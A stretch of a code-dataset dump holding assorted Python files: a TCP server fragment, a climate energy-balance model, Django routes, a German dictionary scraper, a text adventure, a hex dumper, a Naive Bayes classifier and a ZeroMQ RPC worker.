err:\r\n self.printwt(err)\r\n\r\n finally:\r\n self.print_with_time(f'Closing client socket for {client_address}...')\r\n client_sock.close()\r\n self.print_with_time(f'Client socket closed for {client_address}')\r\n\r\n def shutdown_server(self):\r\n ''' Shutdown the server '''\r\n\r\n self.print_with_time('Shutting down server...')\r\n self.sock.close()\r\n\r\nif __name__ == '__main__':\r\n if len(sys.argv) == 1:\r\n print(\"Usage: python tcp_server.py [ port_no (int) ]\")\r\n sys.exit()\r\n else:\r\n port = int(sys.argv[1])\r\n tcp_server = TCPServer('127.0.0.1', port)\r\n tcp_server.configure_server()\r\n tcp_server.wait_for_client()","sub_path":"Internet-Tech/Socket-key-value/tcp_server.py","file_name":"tcp_server.py","file_ext":"py","file_size_in_byte":3719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"476992013","text":"\nfrom Utility import *\n\n\ndef oneD_GHE(plotTitle):\n # Independent Variables\n waterDepth = 4000 # m\n R_star = c.R_Sun # Radius of star (AU)\n d_planet = c.d_Earth # Distance of planet from body it is orbiting (AU)\n T_star = c.T_Sun # Surface Temperature of star (K)\n albedo = c.albedo_Earth\n epsilonS = c.epsilonSurface_Earth\n epsilonA = c.epsilonAtmosphere_Earth\n periodFractions = 100\n latitudeWidth = 10 # degrees\n StartingTemperature = int(input('Starting Temperature (K): ')) # Arbitrary value\n\n # Initialisation\n period = math.pow(d_planet, 1.5) # Period of planet's orbit (years)\n heatCapacity = waterDepth * 1000 * 4200 # J/K/m^2\n L = solarConstant(T_star, R_star, d_planet)\n t = [0]\n latitudes = []\n\n for i in range(0, 90, latitudeWidth):\n # Ratio of the area of the 'shadow' cast by the latitude band to the surface of revolution of the arc length of the latitude band\n ratio = InOutRatio(i, i + latitudeWidth)\n\n # Creates a dictionary element for each latitude\n latitudes.append({'lat': (i, i + latitudeWidth), 'tempList': [StartingTemperature], 'heatContent': heatCapacity * StartingTemperature, 'albedo': albedo, 'ratio': ratio})\n\n periods = int(input('Number of periods (6000): ')) # Arbitrary value\n # iceAlbedoThreshold = float(input('IceAlbedoThreshold (223.15): '))\n for k in range(periods):\n for i in range(periodFractions): # For each time step in the given amount of year\n for lat in latitudes: # Goes through each latitude\n # lat['albedo'] = smoothAlbedo_linear(lat['tempList'][-1], iceAlbedoThreshold, 273.15, albedo, 0.7) # Linear interpolation\n lat['albedo'] = smoothAlbedo_quadratic(lat['tempList'][-1])\n\n temp_atmosphere = (0.5 * epsilonS * lat['tempList'][-1] ** 4) ** 0.25 # Temp of atmosphere assuming energy balance\n heat_in = (L * (1 - lat['albedo'])) / 4 * lat['ratio'] # W/m^2\n heat_out = (1 - epsilonA) * epsilonS * PowerOut(lat['tempList'][-1]) + epsilonA * PowerOut(temp_atmosphere)\n net_heat = heat_in - heat_out\n lat['heatContent'] += net_heat * (period / periodFractions) * c.SiY\n lat['tempList'].append(lat['heatContent'] / heatCapacity)\n t.append(t[-1] + (period / periodFractions))\n print(k)\n\n fig = plt.figure(\"1D EBM with Greenhouse Effect\")\n\n for lat in latitudes: # Plots temps of each latitude\n plt.plot(t, lat['tempList'], label=str(lat['lat'][0]) + '-' + str(lat['lat'][1]) + '°')\n\n # Modifying Visual aspect of plot\n fig = beautifyPlot(fig, plotTitle, 'time (years)', 'Surface temperature (K)')\n fig = plotCelciusLine(fig, 0, t[-1])\n fig = addLegend(fig, title='Latitudes: ')\n\n return fig","sub_path":"models/oneD_GHE.py","file_name":"oneD_GHE.py","file_ext":"py","file_size_in_byte":2828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"213314227","text":"from django.conf import settings\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls.static import static\nfrom django.views.generic import detail\n\nfrom urbangreen import views\n\nurlpatterns = [\n path('', views.homepage, name='home'),\n path('blog.html', views.blog, name='blog'),\n path('blog-detail.html', views.blog1, name='blog-detail'),\n path('about-us.html', views.about, name='about-us'),\n path('cart-page.html', views.cart, name='cart-page'),\n path('contact-us.html', views.contact, name='contact-us'),\n path('shop.html', views.shop, name='shop'),\n path('shop-detail.html', views.shop1, name='shop-detail'),\n path('potting_soil.html', views.potting_soil, name='potting_soil'),\n path('plant_health.html', views.plant_health, name='plant_health'),\n path('seeds.html', views.seeds, name='seeds'),\n path('accessories.html', views.accessories, name='accessories'),\n path('services.html', views.services, name='services'),\n path('register.html', views.user_register, name='user_register'),\n # path('', views.home, name='home'),\n\n] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n\n","sub_path":"urbangreen/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"245432643","text":"import random\r\nimport time\r\nq1 = int(input(\"5\"))\r\ntime.sleep(1)\r\nw1 = int(input(\"4\"))\r\ntime.sleep(1)\r\ne1 = int(input(\"3\"))\r\ntime.sleep(1)\r\nr1 = int(input(\"2\"))\r\ntime.sleep(1)\r\nt1 = int(input(\"1\"))\r\ntime.sleep(1)\r\n\r\nq = random.randrange(1,49)\r\nw = random.randrange(1,49)\r\ne = random.randrange(1,49)\r\nr = random.randrange(1,49)\r\nt = random.randrange(1,49)\r\nif q == q1 and w == w1 and e == e1 and r == r1 and t == t1:\r\n print(\"100000000 LİRA KAZANDIN\")\r\n\t\t\r\n \r\nif q != q1 and w == w1 and e == e1 and r == r1 and t == t1:\r\n print(\"1000000\")\r\n\r\n \r\nif q != q1 and w != w1 and e == e1 and r == r1 and t == t1:\r\n print(\"13213\")\r\n\t\r\nif q != q1 and w != w1 and e != e1 and r == r1 and t == t1:\r\n print(\"3131\")\r\n\t\t\r\n \r\nif q != q1 and w != w1 and e != e1 and r != r1 and t == t1:\r\n print(\"1\")\r\n\t\t\r\n \r\nif q != q1 and w != w1 and e != e1 and r != r1 and t != t1:\r\n print(\"kaybettin\")\r\n\t\t\t\t\t\t\t\t\t\r\n\r\n\r\ntime.sleep(10)\r\n","sub_path":"asdd.py","file_name":"asdd.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"148531889","text":"import pdb\n\n# 'abcd choose 2\ndef comb2(s):\n s = list(s)\n r = []\n while s:\n first = s.pop(0)\n r += [first + x for x in s]\n return r\n\ndef comb(s, k):\n stack = list(s[:-k])\n r = []\n while stack:\n combo = stack.pop()\n if len(combo) == k:\n r.append(combo)\n else:\n for ch in s[1 + s.index(combo[-1]):]:\n stack.append(combo+ch)\n return r\n\nr = comb('abcd',2)\ns = comb('abcd',3)\npdb.set_trace()\n","sub_path":"loop_test.py","file_name":"loop_test.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"11090937","text":"import numpy as np \nfrom sklearn import preprocessing\nfrom sklearn import cross_validation\nfrom sklearn import decomposition\n\n#load data\nfiltered_data=np.array(np.genfromtxt('..\\\\filtered-data.txt', delimiter=',',autostrip=True))\nscaled_filtered_data=preprocessing.scale(filtered_data)\n\n#set the target class/attribute \nsalary=scaled_filtered_data[:,14]\nscaled_filtered_data=scaled_filtered_data[:,:-1]\n\n#set the target class to -1 or 1 for values less than 50 k or greater than 50 k respectively \nsalary2=np.array([-1]*len(salary))\nfor i in range(0,len(salary2)):\n if salary[i]>0:\n salary2[i]=1\n\t\t\n#setup cross validation\ntrain_samples, test_samples, train_out, test_out = cross_validation.train_test_split(scaled_filtered_data, salary2, test_size=0, random_state=0)\nX = train_samples\ny = train_out\n\n#apply pca\npca = decomposition.PCA(n_components=2)\npca.fit(X)\nnew_X = pca.transform(X)\n\n#save data\nnp.savetxt(\"attribute_pca_out.csv\", new_X, delimiter=\",\")\nnp.savetxt(\"target_pca_out.csv\", y, delimiter=\",\")","sub_path":"src/adult_pca.py","file_name":"adult_pca.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"417009546","text":"import plotly.graph_objs as go\nfrom src.connectors import mongo\nimport numpy as np\nimport pandas as pd\n\n\ndef get_sclass(df,class_id): return df[df.id_class == class_id] # get single class\n\ndef avg_emotion(df,class_id):\n df_sclass = get_sclass(df,class_id)\n if len(df_sclass) < 1:\n return None\n time_range = np.arange(0,df_sclass.time_video.max(),60)/60 # in minutes\n emotion_mean_by_range = df_sclass.groupby('time_video_code').emotion_score.mean()\n trace = go.Scatter(\n x = time_range,\n y = emotion_mean_by_range,\n mode='lines',\n name = str(class_id)\n )\n return trace\n\n\n\ndef data(db):\n print('Preparing data')\n df = mongo.mongo_get_col(db,'emotion_data')\n # the increasing ladder score of emotion\n emotion_score = {\n 'fear':0,\n 'disgust':1,\n 'angry':2,\n 'sad':3,\n 'neutral':4,\n 'happy':5,\n 'surprise':6,\n None:-1\n }\n df['emotion_score'] = df.emotion.map(emotion_score)\n # Devide the time\n df['time_video_code'] = pd.cut(df.time_video,bins=np.arange(0,3000,60))\n data = []\n for class_id in df.id_class.unique():\n df_temp = avg_emotion(df,class_id)\n if df_temp:\n data.append(df_temp)\n layout = go.Layout(\n hovermode='closest',\n xaxis={'range':[0,60]},\n yaxis={'range':[0,6]}\n \n )\n return data,layout\n\n \n \n\n\n","sub_path":"app/src/plots/avg_emotion.py","file_name":"avg_emotion.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"233296130","text":"#PROJECT: Carly's Clippers\r\nhairstyles = [\"bouffant\", \"pixie\", \"dreadlocks\", \"crew\", \"bowl\", \"bob\", \"mohawk\", \"flattop\"]\r\nprices = [30, 25, 40, 20, 20, 35, 50, 35]\r\nlast_week = [2, 3, 5, 8, 4, 4, 6, 2]\r\n\r\n#SECTION: Prices and cuts\r\ntotal_price = 0\r\n\r\nfor x in prices:\r\n total_price += x \r\nprint(total_price)\r\n\r\naverage_price = total_price/len(prices)\r\nprint(\"Average Haircut Price: $\" + str(round(average_price,2)))\r\n\r\nnew_prices = [price-5 for price in prices]\r\nprint(new_prices)\r\n\r\n#SECTION:Revenue\r\ntotal_revenue = 0\r\nfor i in range(len(hairstyles)):\r\n total_revenue += prices[i] * last_week[i]\r\nprint(\"Total Revenue: $\" + str(round(total_revenue,2)))\r\n\r\naverage_daily_revenue = total_revenue/7\r\nprint(average_daily_revenue)\r\n\r\ncuts_under_30 = [hairstyles[i] for i in range(len(new_prices)-1) if new_prices[i] < 30]\r\nprint(cuts_under_30)\r\n","sub_path":"Carlys Clippers.py","file_name":"Carlys Clippers.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"257266371","text":"#version:trans_version_1.0\n#datafrom:https://www.godic.net/\n#author:wzy\n#for:lvjing\n#time:2018.07.26\n#contact:914606466@qq.com\nimport urllib.request\nimport urllib.parse\nimport json\nfrom bs4 import BeautifulSoup\nimport html5lib\nimport re\nimport io\nimport sys\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='gb18030') #改变标准输出的默认编码\n\n\ncontent = input('请输入要翻译的内容:')\nurl = 'https://www.godic.net/'\ndata = {} #创建一个data字典\ndata['type'] = 'AUTO'\ndata['inputword']= content\ndata['platform']='desktop'\ndata['searchtype']='search_dict'\ndata['platform']='desktop'\ndata['recordid']=''\ndata['forcecg']='false'\ndata['cgformidx']='0'\n\n\ndata = urllib.parse.urlencode(data).encode('utf-8')\n\nreq = urllib.request.Request(url, data)\nreq.add_header('User-Agent',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36')\n\nresponse = urllib.request.urlopen(req)\nhtml = response.read() #整个网页\n\nsoup = BeautifulSoup(html, 'html5lib')\n\nf = open(\"%s.txt\"%(content),\"w\",encoding='utf-8') #创建文件\n\n#查找所有span标签\n# for x in soup.find_all('span'):\n# print(x.get_text()) #print(x.get_text())\n\n\npattern = re.compile(\">(.*)<\")\npattern_1 = re.compile(\"(?<= ).+?(?=<)\")\npattern_2 = re.compile(\"(?<=).+?(?= )\")\npattern_3 = re.compile('(?<=).+?(?=)')\npattern_4 = re.compile('(?<=).+?(?= )')\npattern_5 = re.compile('(?<= ).+?(?=
)')\npattern_6 = re.compile('(?<=n>).+?(?=\").+?(?=\")')\n\nstr_com = ''\nstr_br = ' -1 or repr(d).find(str_exp) > -1:\n flag_1_1 = 1\n if d:\n for x in d.find_all('span',class_=re.compile(\"exp|eg|cara\")): #根据class匹配div下span\n x_step1 = pattern.findall(repr(x))\n #print(repr(x).find(str_com))\n if repr(x).find(str_com)>-1: #判断是否有 由于缺少标记 函数会自动查找到下一个标记 这其中就会包括\n x_del_i = pattern_2.search(repr(x_step1)).group()\n x_del_i_list = x_del_i.strip('+').split('+')\n f.write(\"\".join(x_del_i_list))\n print(file=f)\n else:\n f.write(\"\".join(x_step1)) #print(x.get_text())\n print(file=f)\n if flag_1_1 == 0:\n str_expfcchild = pattern_6.search(repr(d)).group()\n str_expfcchild_list = str_expfcchild.strip('+').split('+')\n f.write(\"\".join(str_expfcchild_list))\n print(file=f)\n else:\n print(\"NONE\",file=f)\nif flag_1 == 0:\n print(\"NONE\",file=f)\n\n\n#德语专业词典\nprint(\"德语专业词典:\",file=f)\nexpspec = soup.find_all('div',id=re.compile(\"ExpSPECChild\")) #同理,确定外部div\nif expspec: #非空\n expspec_del_br = pattern_1.search(repr(expspec)).group()\n expspec_list = expspec_del_br.strip('+').split('+')\n f.write(\"\".join(expspec_list))\n print(file=f)\nelse:\n print('NONE',file=f)\n\n\n\n#德语例句库\nflag_2 = 0\nprint(\"德语例句库:\",file=f)\nfor expljc in soup.find_all('div',id=re.compile(\"ExpLJChild\")): #确定外部div\n #print(repr(expljc))\n flag_2 = 1\n if expljc:\n for x in expljc.find_all('div', class_=re.compile(\"content\")): #找到内部div\n for y in x.find_all('p', class_=re.compile(\"line\")):\n if len(y.find_all('span', class_=\"key\")) > 1:\n stac = 1\n else:\n expljc_str = ''\n expljc_str = expljc_str + pattern_3.search(repr(y)).group()\n expljc_str = expljc_str + pattern_4.search(repr(y)).group()\n expljc_str = expljc_str + pattern_5.search(repr(y)).group()\n expljc_str_list = expljc_str.strip('+').split('+')\n f.write(\"\".join(expljc_str_list))\n print(file=f)\n for z in x.find_all('p', class_=re.compile(\"exp\")):\n expljc_str_1 = ''\n expljc_str_1 = pattern.findall(repr(z))\n f.write(\"\".join(expljc_str_1))\n print(file=f)\n else:\n print(\"NONE\",file=f)\nif flag_2 == 0:\n print(\"NONE\",file=f)\n\n# 从文档中找到所有文字内容\n# print(soup.get_text())\n\n\n#保存到文件\n# fp = open(\"test_1.htm\",\"w+b\")\n# fp.write(html)\n# fp.close()\n","sub_path":"trans_1.0/源码/trans_version_1.0.py","file_name":"trans_version_1.0.py","file_ext":"py","file_size_in_byte":4940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"598722195","text":"from room import Room\nfrom player import Player\nfrom colors import print_color\nfrom item import Item\nimport time\n\n\n# Declare all the rooms\n\nroom = {\n 'outside': Room(\"Outside Cave Entrance\",\n \"North of you, the cave mount beckons\"),\n\n 'foyer': Room(\"Foyer\", \"\"\"Dim light filters in from the south. Dusty\npassages run north and east.\"\"\"),\n\n 'overlook': Room(\"Grand Overlook\", \"\"\"A steep cliff appears before you, falling\ninto the darkness. Ahead to the north, a light flickers in\nthe distance, but there is no way across the chasm.\"\"\"),\n\n 'narrow': Room(\"Narrow Passage\", \"\"\"The narrow passage bends here from west\nto north. The smell of gold permeates the air.\"\"\"),\n\n 'treasure': Room(\"Treasure Chamber\", \"\"\"You've found the long-lost treasure\nchamber! Sadly, it has already been completely emptied by\nearlier adventurers. The only exit is to the south.\"\"\"),\n\n 'library': Room(\"Library\", \"\"\"The room appears a mess. As though someone left\nin a hurry. Are they trying to hide something?\"\"\", False)\n}\n\n\n# Link rooms together\n\nroom['outside'].n_to = room['foyer']\nroom['foyer'].s_to = room['outside']\nroom['foyer'].n_to = room['overlook']\nroom['foyer'].e_to = room['narrow']\nroom['foyer'].w_to = room['library']\nroom['library'].e_to = room['foyer']\nroom['overlook'].s_to = room['foyer']\nroom['narrow'].w_to = room['foyer']\nroom['narrow'].n_to = room['treasure']\nroom['treasure'].s_to = room['narrow']\n\n#\n# Items\n#\n\n# Library - Room west to the Foyer (initially locked)\n# key - Item found in Foyer - will unlock the library\n# library will house 3 books\n# Book - inherits from Item\n# \"read\" i.e. collect all three books to access pieces of a password\n# complete password will unlock \"Treasure\"\n\nitems = {\n 'key': Item(\"key\", \"A heavy, bronze key.\")\n}\n\n# add the items to the rooms\n\nroom['foyer'].items = [items['key']]\n\n#\n# Main\n#\n\n# Make a new player object that is currently in the 'outside' room.\n\n# Write a loop that:\n#\n# * Prints the current room name\n# * Prints the current description (the textwrap module might be useful here).\n# * Waits for user input and decides what to do.\n#\n# If the user enters a cardinal direction, attempt to move to the room there.\n# Print an error message if the movement isn't allowed.\n#\n# If the user enters \"q\", quit the game.\n\nplayer_name = input(\"What's your name? \")\n\nplayer = Player(player_name, room['outside'])\n\nprint(f'\\nWelcome {player.name}!')\n\nprint_color('cyan', f'\\nWelcome {player.name}!\\n\\n')\n\n# time.sleep(0.5)\n\n\ndef location_print(color):\n print_color(\n color, f'\\033[1m\\n\\nYour location: {player.current_room.name}\\33[00m')\n print_color(color, f'{player.current_room.description} \\n')\n # time.sleep(0.5)\n\n\nwhile True:\n if player.current_room == room['outside']:\n location_print('green')\n elif player.current_room == room['foyer']:\n location_print('purple')\n elif player.current_room == room['library']:\n # make some if/else statment depending on if the player has a key in their inventory.\n print(f'This room is locked')\n player.current_room == room['foyer']\n elif player.current_room == room['overlook']:\n location_print('light_purple')\n elif player.current_room == room['narrow']:\n location_print('light_grey')\n elif player.current_room == room['treasure']:\n location_print('yellow')\n\n player_move = input(\n \"\"\"Move commands: (n, s, e, w)\n Check your inventory: 'i'\n Look around the room: 'l'\n Get item: 'get - '\n Press 'q' to quit.\\n\\n\"\"\").lower()\n\n if player_move in ['n', 's', 'e', 'w']:\n player.move(player_move)\n # prints the player's inventory\n elif player_move == 'i':\n if len(player.inventory) > 0:\n for item in player.inventory:\n print_color('yellow', '\\n\\nInventory:')\n print_color('yellow', f'{item.name}')\n else:\n print_color('red', '\\n\\nNo items in your inventory')\n # prints a list of items in the room\n elif player_move == 'l':\n # loop over them items and print them out!\n if len(player.current_room.items) > 0:\n print_color('green', '\\n\\nThis room contains:')\n for item in player.current_room.items:\n print(f'{item.name}')\n # if no items are present in the room\n else:\n print_color('red', 'This room has nothing in it.')\n # get the item from the room into the player's inventory\n elif player_move.startswith('get'):\n query = player_move.split()\n # if the specified item is in the room, put in player inventory\n if len(player.current_room.items) > 0 and player.current_room.has_item(item):\n player.grab_item(items[item])\n # if the specified item is not in the room, print this\n else:\n print_color('red', f'This room does not contain item {query[1]}')\n # quits the game\n elif player_move == 'q':\n exit()\n else:\n print_color('red', '\\n\\n\\nInvalid input. Please try again.\\n\\n')\n","sub_path":"src/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":5056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"109702946","text":"#!/usr/bin/python3\n\n\nfrom sys import argv\nfrom os.path import getsize\nimport sys\n\n\nclass Dumper:\n \"\"\"These objects will dumps input databytes in xxd format.\"\"\"\n def __init__(self, num_shift=5):\n self._num_line = 0\n self._shift = num_shift\n\n @property\n def shift(self):\n return self._shift\n\n @shift.setter\n def shift(self, value, errors=\"ignore\"):\n if not (errors == \"ignore\" or errors == \"strict\"):\n raise ValueError(\"bad argument: errors.\")\n if value < -1 and errors == \"strict\":\n raise ValueError(\"bad argument: value.\")\n self._shift = value\n\n @staticmethod\n def count_shift(buffer_size):\n return len(str(buffer_size // 16 + 1))\n\n @staticmethod\n def file_iterator(f, size):\n def result():\n for _ in range(size):\n yield f.read(1)[0]\n return result()\n\n def _xxd(self, byte_sequence):\n line = hex(self._num_line)[2:].rjust(self._shift, \"0\") + \": \"\n num = 0\n endian = \"\"\n for byte in byte_sequence:\n if 31 < byte < 127:\n endian += chr(byte)\n else:\n endian += '.'\n line += hex(byte)[2:].rjust(2, \"0\") + \" \"\n num += 1\n if num % 4 == 0:\n line += \" \"\n if num == 16:\n yield line + \" \" + endian\n self._num_line += 1\n line = hex(self._num_line)[2:].rjust(self._shift, \"0\") + \": \"\n num = 0\n endian = \"\"\n if num != 0:\n line = line.ljust(57 + self._shift)\n self._num_line += 1\n yield line + \" \" + endian\n\n def __call__(self, *args, **kwargs):\n try:\n yield from self._xxd(*args, **kwargs)\n except BrokenPipeError:\n sys.exit(0)\n\n\ndef main():\n file_name = argv[1]\n size = getsize(file_name)\n shift = Dumper.count_shift(size)\n with open(file_name, mode='rb') as f:\n i = Dumper.file_iterator(f, size)\n xxd = Dumper(shift)\n try:\n for line in xxd(i):\n print(line)\n except BrokenPipeError:\n pass\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tasks/smtp-server/xxd.py","file_name":"xxd.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"27728727","text":"import pandas as pd\nimport numpy as np\nimport math\nimport scipy.stats\nimport argparse\nLAPLACE_SMOOTHING = 1\n\nclass NaiveB:\n def __init__(self):\n return\n\n def calculateProbabilities(self):\n self.possibleOutcomes = self.y.drop_duplicates()\n # Discrete data\n self.kProbabilities = pd.Series()\n # Continuous data\n self.kAverages = pd.Series()\n self.kVariances = pd.Series()\n # List of counts for outcomes k\n self.kCount = pd.Series()\n # List of probabilities for outcomes k\n self.kProb = pd.Series()\n for k in self.possibleOutcomes:\n self.kCount.loc[k] = len(self.y[self.y == k])\n self.kProb.loc[k] = self.kCount[k]/float(len(self.y))\n self.kProbabilities.loc[k] = self.getProbabilitiesForK(k)\n self.kAverages.loc[k], self.kVariances.loc[k] = self.getAveragesVariancesForK(k)\n\n def getProbabilitiesForK(self, k):\n featureProbabilities = pd.Series()\n for col in self.dCols: # For every discrete feature\n featureProbabilities.loc[col] = self.getProbabilitiesForFeature(col, k)\n return featureProbabilities\n\n def getProbabilitiesForFeature(self, feat, k):\n col = self.X[feat]\n categories = col.drop_duplicates() # Possible values for the feature\n categoryProbabilites = pd.Series()\n for cat in categories:\n catCount = len(col[(col == cat) & (self.y == k)]) + LAPLACE_SMOOTHING # Count of occurences of a category in the feature\n categoryProbabilites.loc[cat] = catCount/float(self.kCount[k] + (LAPLACE_SMOOTHING*len(categories)))\n return categoryProbabilites\n\n def getAveragesVariancesForK(self, k):\n featureAverages = pd.Series()\n featureVariances = pd.Series()\n for col in self.cCols: # For every Continuous feature\n featureAverages.loc[col], featureVariances.loc[col] = self.getAverageVarianceForFeature(col, k)\n return featureAverages, featureVariances\n\n def getAverageVarianceForFeature(self, col, k):\n column = self.X[col]\n average = column[self.y == k].mean()\n if math.isnan(average):\n average = 0\n variance = column[self.y == k].var()\n if math.isnan(variance):\n variance = 1\n return average, variance\n\n def train (self, X, y, types):\n\n # Number of features in model\n self.m = len(X.columns)\n self.mNames = X.columns\n # Size of dataset\n self.n = len(X.index)\n\n # Continuous feature list\n self.cCols = X.columns[types == 'c']\n # Disrete feature list\n self.dCols = X.columns[types == 'd']\n\n self.X = X\n self.y = y\n\n self.calculateProbabilities()\n\n def predict (self, X):\n\n out = pd.DataFrame()\n for x in X.index:\n denom = 0\n for k in self.possibleOutcomes:\n denom += self.pYProdPXY(k,X.ix[x])\n for k in self.possibleOutcomes:\n out.loc[x,k] = self.pYProdPXY(k,X.ix[x])/float(denom)\n return out\n\n def pYProdPXY (self, k, x):\n prod = 1\n for f in self.dCols:\n prod *= self.kProbabilities[k][f][x[f]]\n for f in self.cCols:\n prod *= scipy.stats.norm(self.kAverages[k][f], self.kVariances[k][f]).pdf(x[f])\n prod *= self.kProb[k]\n return prod\n\n def calculateError(self, result, Y):\n errSum = 0\n for i in Y.index:\n errSum += result.ix[i][Y[i]]\n error = (result[1].round() == Y).sum()/float(len(Y))\n trueError = errSum/float(len(Y))\n return error, trueError\n\n def crossValidation (self, X, y, types, k):\n perm = np.random.permutation(len(X))\n X, y = pd.Series(np.array_split(X.iloc[perm], k)), pd.Series(np.array_split(y.iloc[perm], k))\n trainError, trainTrueError = 0, 0\n validateError, validateTrueError = 0, 0\n for i in range(k):\n mask = [True]*k\n mask[i] = False\n trainDataX, trainDataY = pd.concat(list(X[mask])), pd.concat(list(y[mask]))\n validateDataX, validateDataY = X[i], y[i]\n self.train(trainDataX, trainDataY, types)\n validateResult = self.predict(validateDataX)\n trainResult = self.predict(trainDataX)\n\n trainE, trainTrueE = self.calculateError(trainResult, trainDataY)\n validateE, validateTrueE = self.calculateError(validateResult, validateDataY)\n #print(trainE)\n #print(validateE)\n trainError += trainE\n trainTrueError += trainTrueE\n validateError += validateE\n validateTrueError += validateTrueE\n\n print('--- Training ---')\n print('Error rate:')\n print(1 - trainError/float(k))\n print('True Error:')\n print(1 - trainTrueError/float(k))\n print('--- Validation ---')\n print('Error rate:')\n print(1 - validateError/float(k))\n print('True Error:')\n print(1 - validateTrueError/float(k))\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('-t', '--trainCSV',type=str, help='CSV file containing training data', required=True)\n\tparser.add_argument('-s','--submission',type=str, help='Submission File',required=True)\n\targs = parser.parse_args()\n\t\n\n\tdata = pd.read_csv(args.trainCSV, low_memory=False)#(\"./data/Y1/dataForY1LogiAndNaive.csv\", low_memory=False)\n\ty = data['THERE15']\n\tdata.drop('THERE15', axis=1, inplace=True)\n\tdata.drop('PARTICIPANT ID', axis=1, inplace=True)\n\tt3 = data['THERE13']\n\tt4 = data['THERE14']\n\tprint('Running Naive Bayes model...')\n\tnaiveModel = NaiveB()\n\tnaiveModel.train(data, y, pd.Series(['d','c','d','d','d','c']))\n\tdataB15 = data.copy()\n\tdataB15.drop('THERE12', axis=1, inplace=True)\n\tdataB15.drop('THERE13', axis=1, inplace=True)\n\tdataB15.drop('THERE14', axis=1, inplace=True)\n\tdataB15.insert(2, 'THERE12', t3)\n\tdataB15.insert(2, 'THERE13', t4)\n\tdataB15.insert(2, 'THERE14', y)\n\n\tnaiveModel.crossValidation(data, y, pd.Series(['d','c','d','d','d','c']),2)\n\tout = naiveModel.predict(dataB15)\n\t#print(out)\n\tres = out[1].round()\n\tres.to_csv(args.submission, index=True, header=False)#('bayes.csv', index=True, header=False)\n\t#print(res)\n\t#print(res.sum()/float(1000))\n","sub_path":"models/naiveBayes.py","file_name":"naiveBayes.py","file_ext":"py","file_size_in_byte":6324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"448602728","text":"# a = [ 9, 11, 11, 11, 9, 5, 5, 99, 19, 19, 20, 20, 20, 20, 11]\n# print(a[:])\ndef solution(N, A):\n counter = [0] * N\n for index in range(len(A)):\n if 1 <= A[index] <= N:\n counter[A[index] - 1] += 1\n else:\n counter = [max(counter)] * N\n return counter\n\n# Performance imporovement:\n# record the max value and only update the one hasn't been touched","sub_path":"Codility/src/MaxCounters.py","file_name":"MaxCounters.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"494348643","text":"import zmq\nimport logging\nimport traceback\nimport StringIO\n\nimport zeroarch\n\nLOG = logging.getLogger(__name__)\n\nclass RpcWorker(object):\n \n def __init__(self, broker_addr, service_manager):\n self.broker_addr = broker_addr\n self.service_manager = service_manager\n \n def _send_response(self, code, rsp):\n try:\n self.socket.send(code, zmq.SNDMORE)\n self.socket.send(rsp)\n except KeyboardInterrupt:\n raise\n except:\n LOG.exception(\"Error sending response\")\n \n def start(self):\n self.context = zmq.Context()\n self.socket = self.context.socket(zmq.REP)\n self.socket.connect(self.broker_addr)\n while True:\n try:\n parts = self.socket.recv_multipart()\n except KeyboardInterrupt:\n raise\n except:\n LOG.exception(\"Error receiving message\")\n try:\n rsp = self.service_manager.call_service(parts[0], parts[1])\n except KeyboardInterrupt:\n raise\n except Exception as e:\n LOG.exception(\"Error executing service: %s, message: %s\" % (parts[0], parts[1]))\n if LOG.isEnabledFor(logging.DEBUG):\n fp = StringIO.StringIO()\n traceback.print_exc(file=fp)\n err = fp.getvalue()\n else:\n err = e.message\n self._send_response(zeroarch.RSP_CODE_ERR, err)\n continue\n self._send_response(zeroarch.RSP_CODE_OK, rsp)\n","sub_path":"zeroarch/rpc/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
